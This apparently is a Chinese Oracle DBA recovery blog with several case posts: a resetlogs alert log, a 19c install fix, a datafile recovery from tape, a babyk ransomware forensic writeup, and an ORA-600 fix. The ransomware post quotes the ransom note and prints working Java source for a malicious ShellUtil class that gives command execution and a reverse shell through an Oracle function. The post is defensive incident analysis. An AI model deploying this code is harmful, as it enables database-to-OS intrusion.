ORA-00313: 无法打开日志组 2 (用于线程 1) 的成员
ORA-00312: 联机日志 2 线程 1: 'H:\BAIDUNETDISK\BACKUP\BACKUP\REDO02.LOG'
ORA-27041: 无法打开文件
OSD-04002: 无法打开文件
O/S-Error: (OS 2) 系统找不到指定的文件
Clearing online redo logfile 2 complete
Errors in file C:\APP\XFF\diag\rdbms\orcl\orcl\trace\orcl_ora_5812.trc:
ORA-00313: 无法打开日志组 3 (用于线程 1) 的成员
ORA-00312: 联机日志 3 线程 1: 'H:\BAIDUNETDISK\BACKUP\BACKUP\REDO03.LOG'
ORA-27041: 无法打开文件
OSD-04002: 无法打开文件
O/S-Error: (OS 2) 系统找不到指定的文件
Clearing online redo logfile 3 H:\BAIDUNETDISK\BACKUP\BACKUP\REDO03.LOG
Clearing online log 3 of thread 1 sequence number 33771
Errors in file C:\APP\XFF\diag\rdbms\orcl\orcl\trace\orcl_ora_5812.trc:
ORA-00313: 无法打开日志组 3 (用于线程 1) 的成员
ORA-00312: 联机日志 3 线程 1: 'H:\BAIDUNETDISK\BACKUP\BACKUP\REDO03.LOG'
ORA-27041: 无法打开文件
OSD-04002: 无法打开文件
O/S-Error: (OS 2) 系统找不到指定的文件
Errors in file C:\APP\XFF\diag\rdbms\orcl\orcl\trace\orcl_ora_5812.trc:
ORA-00313: 无法打开日志组 3 (用于线程 1) 的成员
ORA-00312: 联机日志 3 线程 1: 'H:\BAIDUNETDISK\BACKUP\BACKUP\REDO03.LOG'
ORA-27041: 无法打开文件
OSD-04002: 无法打开文件
O/S-Error: (OS 2) 系统找不到指定的文件
Clearing online redo logfile 3 complete
Resetting resetlogs activation ID 1596759182 (0x5f2c9c8e)
Online log H:\BAIDUNETDISK\BACKUP\BACKUP\REDO01.LOG: Thread 1 Group 1 was previously cleared
Online log H:\BAIDUNETDISK\BACKUP\BACKUP\REDO02.LOG: Thread 1 Group 2 was previously cleared
Online log H:\BAIDUNETDISK\BACKUP\BACKUP\REDO03.LOG: Thread 1 Group 3 was previously cleared
Fri Jun 13 22:06:05 2025
Setting recovery target incarnation to 2
Fri Jun 13 22:06:05 2025
Assigning activation ID 1908542329 (0x71c20b79)
LGWR: STARTING ARCH PROCESSES
Fri Jun 13 22:06:05 2025
ARC0 started with pid=21, OS id=3372 
ARC0: Archival started
LGWR: STARTING ARCH PROCESSES COMPLETE
ARC0: STARTING ARCH PROCESSES
Fri Jun 13 22:06:06 2025
ARC1 started with pid=22, OS id=14764 
Fri Jun 13 22:06:06 2025
ARC2 started with pid=23, OS id=9156 
Thread 1 opened at log sequence 1
  Current log# 1 seq# 1 mem# 0: H:\BAIDUNETDISK\BACKUP\BACKUP\REDO01.LOG
Successful open of redo thread 1
MTTR advisory is disabled because FAST_START_MTTR_TARGET is not set
Fri Jun 13 22:06:06 2025
ARC3 started with pid=24, OS id=24080 
ARC1: Archival started
ARC2: Archival started
ARC2: Becoming the 'no FAL' ARCH
ARC2: Becoming the 'no SRL' ARCH
ARC1: Becoming the heartbeat ARCH
Fri Jun 13 22:06:07 2025
SMON: enabling cache recovery
Undo initialization finished serial:0 start:160589734 end:160589750 diff:16 (0 seconds)
Dictionary check beginning
File #3 is offline, but is part of an online tablespace.
data file 3: 'H:\BAIDUNETDISK\BACKUP\BACKUP\3_UNDOTBS01.DBF'
File #4 is offline, but is part of an online tablespace.
data file 4: 'H:\BAIDUNETDISK\BACKUP\BACKUP\4_USERS01.DBF'
Fri Jun 13 22:06:07 2025
Errors in file C:\APP\XFF\diag\rdbms\orcl\orcl\trace\orcl_dbw0_8352.trc:
ORA-01157: ????/?????? 201 - ??? DBWR ????
ORA-01110: ???? 201: 'H:\BAIDUNETDISK\BACKUP\BACKUP\TEMP01.DBF'
ORA-27041: ??????
OSD-04002: 无法打开文件
O/S-Error: (OS 2) 系统找不到指定的文件
Errors in file C:\APP\XFF\diag\rdbms\orcl\orcl\trace\orcl_dbw0_8352.trc:
ORA-01186: ?? 201 ??????
ORA-01157: ????/?????? 201 - ??? DBWR ????
ORA-01110: ???? 201: 'H:\BAIDUNETDISK\BACKUP\BACKUP\TEMP01.DBF'
File 201 not verified due to error ORA-01157
Dictionary check complete
Verifying file header compatibility for 11g tablespace encryption..
Verifying 11g file header compatibility for tablespace encryption completed
SMON: enabling tx recovery
Re-creating tempfile H:\BAIDUNETDISK\BACKUP\BACKUP\TEMP01.DBF
Database Characterset is AL32UTF8
No Resource Manager plan active
replication_dependency_tracking turned off (no async multimaster replication found)
Starting background process QMNC
Fri Jun 13 22:06:07 2025
QMNC started with pid=25, OS id=20288 
LOGSTDBY: Validating controlfile with logical metadata
LOGSTDBY: Validation complete
Completed: alter database open resetlogs

导出需要的业务用户字典信息,然后把客户那边提供的users01.dbf文件(users02.dbf是客户在21年之后增加的,原则上客户要的数据都在users01.dbf中)中的数据恢复到导出的字典中,完成本次数据恢复,客户远程验证业务,运行正常,客户需要的配置信息都在其中.

Error in invoking target ‘libasmclntsh19.ohso libasmperl19.ohso client_sharedlib’问题处理

联系:手机/微信(+86 17813235971) QQ(107644445)QQ咨询惜分飞

标题:Error in invoking target ‘libasmclntsh19.ohso libasmperl19.ohso client_sharedlib’问题处理

作者:惜分飞©版权所有[未经本人同意,不得以任何形式转载,否则有进一步追究法律责任的权利.]

最近在redhat 8.x系列系统中安装Oracle 19c,编译的过程中出现类似:[FATAL] Error in invoking target ‘libasmclntsh19.ohso libasmperl19.ohso client_sharedlib’ of makefile ‘/u01/app/oracle/product/19c/db_1/rdbms/lib/ins_rdbms.mk’.错误

[oracle@xifenfei db_1]$ ./runInstaller -ignorePrereq -waitforcompletion -silent \
>   oracle.install.option=INSTALL_DB_SWONLY \
>   UNIX_GROUP_NAME=oinstall \
>   INVENTORY_LOCATION=${ORACLE_BASE}/oraInventory \
>   ORACLE_HOME=${ORACLE_HOME} \
>   ORACLE_BASE=${ORACLE_BASE} \
>   oracle.install.db.InstallEdition=EE \
>   oracle.install.db.OSDBA_GROUP=dba \
>   oracle.install.db.OSBACKUPDBA_GROUP=backupdba \
>   oracle.install.db.OSDGDBA_GROUP=dgdba \
>   oracle.install.db.OSKMDBA_GROUP=kmdba \
>   oracle.install.db.OSRACDBA_GROUP=dba \
>   SECURITY_UPDATES_VIA_MYORACLESUPPORT=false \
>   DECLINE_SECURITY_UPDATES=true
Launching Oracle Database Setup Wizard...

[WARNING] [INS-13014] Target environment does not meet some optional requirements.
   CAUSE: Some of the optional prerequisites are not met. See logs for details. 
/u01/app/oraInventory/logs/InstallActions2025-06-02_05-13-46PM/installActions2025-06-02_05-13-46PM.log
   ACTION: Identify the list of failed prerequisite checks from the log: 
/u01/app/oraInventory/logs/InstallActions2025-06-02_05-13-46PM/installActions2025-06-02_05-13-46PM.log. 
Then either from the log file or from installation manual 
find the appropriate configuration to meet the prerequisites and fix it manually.
The response file for this session can be found at:
 /u01/app/oracle/product/19c/db_1/install/response/db_2025-06-02_05-13-46PM.rsp

You can find the log of this install session at:
 /u01/app/oraInventory/logs/InstallActions2025-06-02_05-13-46PM/installActions2025-06-02_05-13-46PM.log
[FATAL] Error in invoking target 'libasmclntsh19.ohso libasmperl19.ohso client_sharedlib' of 
makefile '/u01/app/oracle/product/19c/db_1/rdbms/lib/ins_rdbms.mk'. See 
'/u01/app/oraInventory/logs/InstallActions2025-06-02_05-13-46PM/installActions2025-06-02_05-13-46PM.log' for details.

查看日志中具体信息

INFO:
/usr/bin/ld
INFO:
: cannot find -lclntsh

INFO:
make[2]: *** [/u01/app/oracle/product/19c/db_1/rdbms/lib/env_rdbms.mk:5232: dlopenlib] Error 1

INFO:
make[2]: Leaving directory '/u01/app/oracle/product/19c/db_1/rdbms/lib'

INFO:
make[1]: *** [/u01/app/oracle/product/19c/db_1/rdbms/lib/env_rdbms.mk:5210: 
 /u01/app/oracle/product/19c/db_1/lib/libasmperl19.so] Error 2

INFO:
make[1]: Leaving directory '/u01/app/oracle/product/19c/db_1/rdbms/lib'

INFO:
make: *** [/u01/app/oracle/product/19c/db_1/rdbms/lib/env_rdbms.mk:5247: libasmperl19.ohso] Error 2

INFO: End output from spawned process.
INFO: ----------------------------------
INFO: Exception thrown from action: make
Exception Name: MakefileException
Exception String: Error in invoking target 'libasmclntsh19.ohso libasmperl19.ohso client_sharedlib' of makefile 
'/u01/app/oracle/product/19c/db_1/rdbms/lib/ins_rdbms.mk'. See 
'/u01/app/oraInventory/logs/InstallActions2025-06-02_05-13-46PM/installActions2025-06-02_05-13-46PM.log' for details.
Exception Severity: 1
INFO:  [Jun 2, 2025 5:16:23 PM] Adding ExitStatus STOP_INSTALL to the exit status set
INFO:  [Jun 2, 2025 5:16:23 PM] Finding the most appropriate exit status for the current application
INFO:  [Jun 2, 2025 5:16:23 PM] inventory location is/u01/app/oraInventory
INFO:  [Jun 2, 2025 5:16:23 PM] Adding ExitStatus SUCCESS_WITH_WARNINGS to the exit status set
INFO:  [Jun 2, 2025 5:16:23 PM] Finding the most appropriate exit status for the current application
INFO:  [Jun 2, 2025 5:16:23 PM] Exit Status is -4
INFO:  [Jun 2, 2025 5:16:23 PM] Shutdown Oracle Database 19c Installer
INFO:  [Jun 2, 2025 5:16:23 PM] Unloading Setup Driver

提示缺少lclntsh,对应到数据中为libclntsh动态库文件,检查数据lib中相关文件

[oracle@xifenfei lib]$ ls -ltr libclntsh*
lrwxrwxrwx 1 oracle oinstall      12 Jun  2 16:06 libclntsh.so.11.1 -> libclntsh.so
lrwxrwxrwx 1 oracle oinstall      12 Jun  2 16:06 libclntsh.so.10.1 -> libclntsh.so
lrwxrwxrwx 1 oracle oinstall      12 Jun  2 16:06 libclntsh.so.12.1 -> libclntsh.so
lrwxrwxrwx 1 oracle oinstall      12 Jun  2 16:06 libclntsh.so.18.1 -> libclntsh.so
lrwxrwxrwx 1 oracle oinstall      17 Jun  2 16:06 libclntsh.so -> libclntsh.so.19.1
-rwxr-xr-x 1 oracle oinstall 8057080 Jun  2 16:11 libclntshcore.so.19.1
lrwxrwxrwx 1 oracle oinstall      21 Jun  2 16:11 libclntshcore.so -> libclntshcore.so.19.1

发现libclntsh.so.*.1都软连接到 libclntsh.so.19.1 而 libclntsh.so.19.1这个文件本身丢失,从安装介质中找到该文件并传输到lib中,修改权限

[oracle@xifenfei ~]$ cd $ORACLE_HOME/lib
[oracle@xifenfei lib]$ cp /tmp/libclntsh.so.19.1 ./
[oracle@xifenfei lib]$ chmod 777 libclntsh.so.19.1
[oracle@xifenfei lib]$ ls -ltr libclntsh*
lrwxrwxrwx 1 oracle oinstall       12 Jun  2 17:31 libclntsh.so.10.1 -> libclntsh.so
lrwxrwxrwx 1 oracle oinstall       12 Jun  2 17:31 libclntsh.so.11.1 -> libclntsh.so
lrwxrwxrwx 1 oracle oinstall       12 Jun  2 17:31 libclntsh.so.12.1 -> libclntsh.so
lrwxrwxrwx 1 oracle oinstall       12 Jun  2 17:31 libclntsh.so.18.1 -> libclntsh.so
lrwxrwxrwx 1 oracle oinstall       17 Jun  2 17:34 libclntsh.so -> libclntsh.so.19.1
lrwxrwxrwx 1 oracle oinstall       21 Jun  2 17:34 libclntshcore.so -> libclntshcore.so.19.1
-rwxr-xr-x 1 oracle oinstall 82573024 Jun  2 17:34 libclntsh.so.19.1
-rwxr-xr-x 1 oracle oinstall  8057080 Jun  2 17:34 libclntshcore.so.19.1

后续重新执行runInstaller相关命令安装正常,这个问题本质是由于libclntsh.so.19.1文件丢失导致,我查看了unzip解压日志,发现是解压出来了该文件的,具体什么原因丢失未知
233759


ORA-01171: datafile N going offline due to error advancing checkpoint

联系:手机/微信(+86 17813235971) QQ(107644445)QQ咨询惜分飞

标题:ORA-01171: datafile N going offline due to error advancing checkpoint

作者:惜分飞©版权所有[未经本人同意,不得以任何形式转载,否则有进一步追究法律责任的权利.]

最近接到一个客户有一个数据文件offline的恢复咨询,通过分析日志,当时是由于在启动的时候数据文件被占用导致后续数据库open之后,该文件被强制offline掉

Fri May 16 20:01:05 2025
Database mounted in Exclusive Mode
Completed: ALTER DATABASE   MOUNT
Fri May 16 20:01:05 2025
ALTER DATABASE OPEN
Fri May 16 20:01:06 2025
LGWR: STARTING ARCH PROCESSES
ARC0 started with pid=70, OS id=4628
Fri May 16 20:01:06 2025
ARC0: Archival started
ARC1 started with pid=74, OS id=4840
Fri May 16 20:01:06 2025
ARC1: Archival started
LGWR: STARTING ARCH PROCESSES COMPLETE
Fri May 16 20:01:06 2025
Errors in file d:\oracle\product\10.2.0\admin\orcl\bdump\orcl_lgwr_4080.trc:
ORA-01110: data file 14: 'D:\ORADATA\XIFENFEI105_DAT_1.DBF'
ORA-01114: IO error writing block to file 14 (block # 1)
ORA-27041: unable to open file
OSD-04002: 无法打开文件
O/S-Error: (OS 32) 另一个程序正在使用此文件,进程无法访问。

Thread 1 opened at log sequence 172421
  Current log# 1 seq# 172421 mem# 0: D:\ORACLE\PRODUCT\10.2.0\ORADATA\ORCL\REDO01.LOG
Fri May 16 20:01:06 2025
ARC1: STARTING ARCH PROCESSES
Fri May 16 20:01:06 2025
Successful open of redo thread 1
Fri May 16 20:01:06 2025
ARC0: Becoming the 'no FAL' ARCH
ARC0: Becoming the 'no SRL' ARCH
Fri May 16 20:01:06 2025
ARC2: Archival started
ARC1: STARTING ARCH PROCESSES COMPLETE
ARC2 started with pid=78, OS id=4056
Fri May 16 20:01:06 2025
ARC1: Becoming the heartbeat ARCH
Fri May 16 20:01:06 2025
MTTR advisory is disabled because FAST_START_MTTR_TARGET is not set
Fri May 16 20:01:06 2025
SMON: enabling cache recovery
Fri May 16 20:01:07 2025
Successfully onlined Undo Tablespace 1.
Fri May 16 20:01:07 2025
SMON: enabling tx recovery
Fri May 16 20:01:08 2025
Database Characterset is ZHS16GBK
replication_dependency_tracking turned off (no async multimaster replication found)
Starting background process QMNC
QMNC started with pid=86, OS id=4492
Fri May 16 20:01:12 2025
db_recovery_file_dest_size of 51200 MB is 1.97% used. This is a
user-specified limit on the amount of space that will be used by this
database for recovery-related files, and does not reflect the amount of
space available in the underlying filesystem or ASM diskgroup.
Fri May 16 20:01:13 2025
Completed: ALTER DATABASE OPEN
Fri May 16 20:06:44 2025
Restarting dead background process MMON
MMON started with pid=98, OS id=4232
Fri May 16 20:07:06 2025
Shutting down archive processes
Fri May 16 20:07:11 2025
ARCH shutting down
ARC2: Archival stopped
Fri May 16 20:10:32 2025
Thread 1 advanced to log sequence 172422
  Current log# 2 seq# 172422 mem# 0: D:\ORACLE\PRODUCT\10.2.0\ORADATA\ORCL\REDO02.LOG
Fri May 16 20:15:33 2025
Errors in file d:\oracle\product\10.2.0\admin\orcl\bdump\orcl_ckpt_2496.trc:
ORA-01171: datafile 14 going offline due to error advancing checkpoint
ORA-01122: database file 14 failed verification check
ORA-01110: data file 14: 'D:\ORADATA\XIFENFEI105_DAT_1.DBF'
ORA-01208: data file is an old version - not accessing current version

Fri May 16 20:23:09 2025
Starting background process EMN0
EMN0 started with pid=82, OS id=2660

通过dbv检查报错文件,确认被offline文件本身正常
dbv


本身这个故障相对比较简单,只要归档存在直接recover datafile,然后online即可,但是由于备份软件定时工作,导致对应的归档被备份走

Fri May 16 21:55:10 2025
Control autobackup written to SBT_TAPE device
	comment 'API Version 2.0,MMS Version 10.0.0.116',
	media 'V_6746190_6959024'
	handle 'c-1300253653-20250516-00'
Fri May 16 21:56:03 2025
Thread 1 cannot allocate new log, sequence 172423
Private strand flush not complete
  Current log# 2 seq# 172422 mem# 0: D:\ORACLE\PRODUCT\10.2.0\ORADATA\ORCL\REDO02.LOG

而且被异常的数据文件不是核心业务文件,导致客户没有及时发现,等到发现之时尝试recover datafile,提示缺少归档

Wed May 28 17:26:01 2025
alter database recover datafile list clear
Wed May 28 17:26:01 2025
Completed: alter database recover datafile list clear
Wed May 28 17:26:01 2025
alter database recover if needed
 datafile 14

Media Recovery Start
 parallel recovery started with 16 processes
ORA-279 signalled during: alter database recover if needed
 datafile 14
...
Wed May 28 17:26:11 2025
alter database recover cancel
Wed May 28 17:26:13 2025
Media Recovery Canceled
Completed: alter database recover cancel
Wed May 28 17:38:58 2025
ALTER DATABASE RECOVER  datafile 'D:\ORADATA\XIFENFEI105_DAT_1.DBF'  
Wed May 28 17:38:58 2025
Media Recovery Start
 parallel recovery started with 16 processes
ORA-279 signalled during: ALTER DATABASE RECOVER  datafile 'D:\ORADATA\XIFENFEI105_DAT_1.DBF'  ...
Wed May 28 18:26:37 2025
ALTER DATABASE RECOVER    CONTINUE DEFAULT  
Wed May 28 18:26:38 2025
Media Recovery Log D:\ORACLE\PRODUCT\10.2.0\FLASH_RECOVERY_AREA\ORCL\ARCHIVELOG\2025_05_28\O1_MF_1_172421_%U_.ARC
Errors with log D:\ORACLE\PRODUCT\10.2.0\FLASH_RECOVERY_AREA\ORCL\ARCHIVELOG\2025_05_28\O1_MF_1_172421_%U_.ARC
ORA-308 signalled during: ALTER DATABASE RECOVER    CONTINUE DEFAULT  ...
Wed May 28 18:26:38 2025
ALTER DATABASE RECOVER    CONTINUE DEFAULT  
Wed May 28 18:26:38 2025
Media Recovery Log D:\ORACLE\PRODUCT\10.2.0\FLASH_RECOVERY_AREA\ORCL\ARCHIVELOG\2025_05_28\O1_MF_1_172421_%U_.ARC
Errors with log D:\ORACLE\PRODUCT\10.2.0\FLASH_RECOVERY_AREA\ORCL\ARCHIVELOG\2025_05_28\O1_MF_1_172421_%U_.ARC
ORA-308 signalled during: ALTER DATABASE RECOVER    CONTINUE DEFAULT  ...
Wed May 28 18:26:38 2025
ALTER DATABASE RECOVER CANCEL 
Wed May 28 18:26:40 2025
Media Recovery Canceled
Completed: ALTER DATABASE RECOVER CANCEL 

这个客户运气还不错,带库中的需要恢复的归档日志都还在,通过指定带库通道,直接recover datafile成功

RUN {
  ALLOCATE CHANNEL ch1 DEVICE TYPE 'sbt_tape' 
  PARMS="BLKSIZE=262144,ENV=(CV_mmsApiVsn=2,CV_channelPar=ch1)";
  ALLOCATE CHANNEL ch2 DEVICE TYPE 'sbt_tape' 
  PARMS="BLKSIZE=262144,ENV=(CV_mmsApiVsn=2,CV_channelPar=ch2)";
 recover datafile 14;
}

rec
ok


至此完美解决该问题,通过这个case,的出来的经验有:
1. 数据库重启之后,要检查数据库日志和查询数据库数据文件状态(主要防止一些不太常用的文件异常,不能及时发现)
2. 需要需要数据库的基本情况,比如备份,容灾,asm磁盘组冗余,存储冗余,网络冗余等情况,这样出现问题好排查解决

linux环境oracle数据库被文件系统勒索加密为.babyk扩展名溯源

联系:手机/微信(+86 17813235971) QQ(107644445)QQ咨询惜分飞

标题:linux环境oracle数据库被文件系统勒索加密为.babyk扩展名溯源

作者:惜分飞©版权所有[未经本人同意,不得以任何形式转载,否则有进一步追究法律责任的权利.]

最近有一个客户使用了xx厂商的erp软件的Oracle数据库服务被勒索加密(运行在linux平台)
文件加密结果
文件名称被加上.babyk,每个目录下面会留下一个README_babyk.txt文件
0


README_babyk.txt文件内容

                            ___                                                     
 ______  ______  ______   .'   `.                           ______  ______  ______  
|______||______||______| /  .-.  \  .--.   _ .--.   .--.   |______||______||______| 
 ______  ______  ______  | |   | |/ .'`\ \[ '/'`\ \( (`\]   ______  ______  ______  
|______||______||______| \  `-'  /| \__. | | \__/ | `'.'.  |______||______||______| 
                          `.___.'  '.__.'  | ;.__/ [\__) )                          
                                          [__|                                      

                                        
=========================================================
What Happened to My Computer?

Your important files are encrypted.
Many of your documents, photos, videos, databases and other files are no longer
accessible because they have been encrypted. Maybe you are busy looking for a way to
recover your files, but do not waste your time. 
=========================================================

=========================================================
Can I Recover My Files?

Sure. We guarantee that you can recover all your files safely and easily. But you have
not so enough time.if you want to decrypt all your files, you need to pay.
You only have 3 days to submit the payment. After that the price will be doubled.
Also, if you don't pay in 7 days, you won't be able to recover your files forever.
=========================================================

=========================================================
How Do I Pay?

Your Encryption ID:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Payment is accepted in BTC only. If you don't know what's BTC, please Google for 
information on how to buy and pay for BTC.

Send $6000 worth of BTC to this address:

bc1q2p280472y0ssqcr6lhzz3qxxgevg3a63ewacl9

After the payment is completed, Please send your encryption ID and proof of payment to our email.
We will reply to the decryption program to your email address.
=========================================================

=========================================================
How to Contact Us?

aip6jmb@tuta.io
setack@tuta.io

=========================================================

*Warning: Don't try to decrypt by yourself, you may permanently damage your files. 

然后客户找人进行勒索解密,结果对于大于16G左右的文件解密失败.解密失败原因是由于较大文件加密算法问题,导致他们拿到了解密程序也无法解密,具体对于加密文件对比说明:
解密成功文件大小和文件尾部
4
3
解密失败文件大小和文件尾部
1
2


通过对比可以确认文件和占用空间一致,而且尾部没有多出来38byte的字符串的文件是属于解密失败(因为本身加密就不正常)

被勒索加密源头分析
通过解密成功的system01.dbf文件打开库,然后检查数据库中对象,发现一个异常的函数shellrun

create or replace function shellrun(methodName varchar2,
                                    params     varchar2,
                                    encoding   varchar2) return varchar2 as
  language java name 'ShellUtil.run(java.lang.String,java.lang.String,java.lang.String) return java.lang.String';

分析对应的java相关的ShellUtil,检查发现有以下部分
ShellUtil


进一步分析ShellUtil中内容

create or replace and compile java source named "ShellUtil" as
import java.io.*;
import java.net.Socket;
import java.util.concurrent.RecursiveTask;

public class ShellUtil extends Object{
    public static String run(String methodName, String params, String encoding) {
        String res = "";
        if (methodName.equals("exec")) {
            res = ShellUtil.exec(params, encoding);
        }else if (methodName.equals("connectback")) {
            String ip = params.substring(0, params.indexOf("^"));
            String port = params.substring(params.indexOf("^") + 1);
            res = ShellUtil.connectBack(ip, Integer.parseInt(port));
        }else {
            res = "unkown methodName";
        }
        return res;
    }

    public static String exec(String command, String encoding) {
        StringBuffer result = new StringBuffer();
        try {
            String[] finalCommand;
            if (System.getProperty("os.name").toLowerCase().contains("windows")) {
                String systemRootvariable;
                try {
                    systemRootvariable = System.getenv("SystemRoot");
                }
                catch (ClassCastException e) {
                    systemRootvariable = System.getProperty("SystemRoot");
                }
                finalCommand = new String[3];
                finalCommand[0] = systemRootvariable+"\\system32\\cmd.exe";
                finalCommand[1] = "/c";
                finalCommand[2] = command;
            } else { // Linux or Unix System
                finalCommand = new String[3];
                finalCommand[0] = "/bin/sh";
                finalCommand[1] = "-c";
                finalCommand[2] = command;
            }
            BufferedReader readerIn = null;
            BufferedReader readerError = null;
            try {
                readerIn = new BufferedReader(new InputStreamReader
                    (Runtime.getRuntime().exec(finalCommand).getInputStream(),encoding));
                String stemp = "";
                while ((stemp = readerIn.readLine()) != null){
                    result.append(stemp).append("\n");
                }
            }catch (Exception e){
                result.append(e.toString());
            }finally {
                if (readerIn != null) {
                    readerIn.close();
                }
            }
            try {
                readerError = new BufferedReader(new InputStreamReader
              (Runtime.getRuntime().exec(finalCommand).getErrorStream(), encoding));
                String stemp = "";
                while ((stemp = readerError.readLine()) != null){
                    result.append(stemp).append("\n");
                }
            }catch (Exception e){
                result.append(e.toString());
            }finally {
                if (readerError != null) {
                    readerError.close();
                }
            }
        } catch (Exception e) {
            result.append(e.toString());
        }
        return result.toString();
    }

    public static String connectBack(String ip, int port) {
        class StreamConnector extends Thread {
            InputStream sp;
            OutputStream gh;

            StreamConnector(InputStream sp, OutputStream gh) {
                this.sp = sp;
                this.gh = gh;
            }
            @Override
            public void run() {
                BufferedReader xp = null;
                BufferedWriter ydg = null;
                try {
                    xp = new BufferedReader(new InputStreamReader(this.sp));
                    ydg = new BufferedWriter(new OutputStreamWriter(this.gh));
                    char buffer[] = new char[1024];
                    int length;
                    while ((length = xp.read(buffer, 0, buffer.length)) > 0) {
                        ydg.write(buffer, 0, length);
                        ydg.flush();
                    }
                } catch (Exception e) {}
                try {
                    if (xp != null) {
                        xp.close();
                    }
                    if (ydg != null) {
                        ydg.close();
                    }
                } catch (Exception e) {
                }
            }
        }
        try {
            String sp;
            if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
                sp = new String("/bin/sh");
            } else {
                sp = new String("cmd.exe");
            }
            Socket sk = new Socket(ip, port);
            Process ps = Runtime.getRuntime().exec(sp);
            (new StreamConnector(ps.getInputStream(), sk.getOutputStream())).start();
            (new StreamConnector(sk.getInputStream(), ps.getOutputStream())).start();
        } catch (Exception e) {
        }
        return "^OK^";
    }
}

这些程序的创建时间分析
time


这些程序都是4月24日14:58:40-14:58:50之间创建,通过咨询客户,客户的应用在4月24日上午进行了升级.基于上述情况,初步怀疑是通过应用给数据库层面注入了恶意脚本,创建了函数和一些java包,实现提权获取了操作系统权限,然后对操作系统文件进行加密.最终结论需要等应用和安全厂商进行确认

ORA-600 ksvworkmsgalloc: bad reaper

联系:手机/微信(+86 17813235971) QQ(107644445)QQ咨询惜分飞

标题:ORA-600 ksvworkmsgalloc: bad reaper

作者:惜分飞©版权所有[未经本人同意,不得以任何形式转载,否则有进一步追究法律责任的权利.]

有一个朋友说他们想把12c的库还原到19c版本中然后进行升级测试,结果在打开库的过程中发现几个错误,让我给帮忙分析下
resetlogs 报ORA-00392 ORA-00312

SQL> alter database open resetlogs upgrade;
alter database open resetlogs upgrade
*
ERROR at line 1:
ORA-00392: log 7 of thread 1 is being cleared, operation not allowed
ORA-00312: online log 7 thread 1: '/DBS1/data/NDBS/onlinelog/redo07_m1.log '
ORA-00312: online log 7 thread 1: '/DBS1/arch/NDBS/onlinelog/redo07_m2.log '

这个错误一般是由于redo状态不对,比如标记为了CLEARING_CURRENT,处理操作

SQL> select group#,status from v$log;

          GROUP# STATUS
---------------- ----------------
               1 CLEARING
               2 CLEARING
               3 CLEARING
               4 CLEARING
              10 CLEARING
               6 CLEARING
               7 CLEARING_CURRENT
               8 CLEARING
               9 CLEARING
               5 CLEARING

10 rows selected.


SQL> alter database clear logfile group 7;

Database altered.

SQL> select group#,status from v$log;

          GROUP# STATUS
---------------- ----------------
               1 CLEARING
               2 CLEARING
               3 CLEARING
               4 CLEARING
              10 CLEARING
               6 CLEARING
               7 CURRENT
               8 CLEARING
               9 CLEARING
               5 CLEARING

10 rows selected.

再次reseltogs报ORA-600 ksvworkmsgalloc: bad reaper错误

SQL> alter database open resetlogs upgrade;
alter database open resetlogs upgrade
*
ERROR at line 1:
ORA-00600: internal error code, arguments: [ksvworkmsgalloc: bad reaper], [0x080010003], [], [], []

这个错误通过查询MOS 发现Open Resetlogs Fail with ORA-00600[ksvworkmsgalloc: bad reaper] (Doc ID 2728106.1)文章中描述,由于non-ASM to ASM环境redo文件在clear的时候触发该问题
KSVWORKMSGALLOW


是由于db_create_online_log_dest_1参数没有设置导致,对于该库是由asm环境到文件系统,估计也是在resetlogs的时候clear redo报出来该错误,解决办法给该库设置上
db_create_online_log_dest_1=/DBS1/data,db_create_online_log_dest_2=/DBS1/arch,然后打开库成功
QQ20250519-231821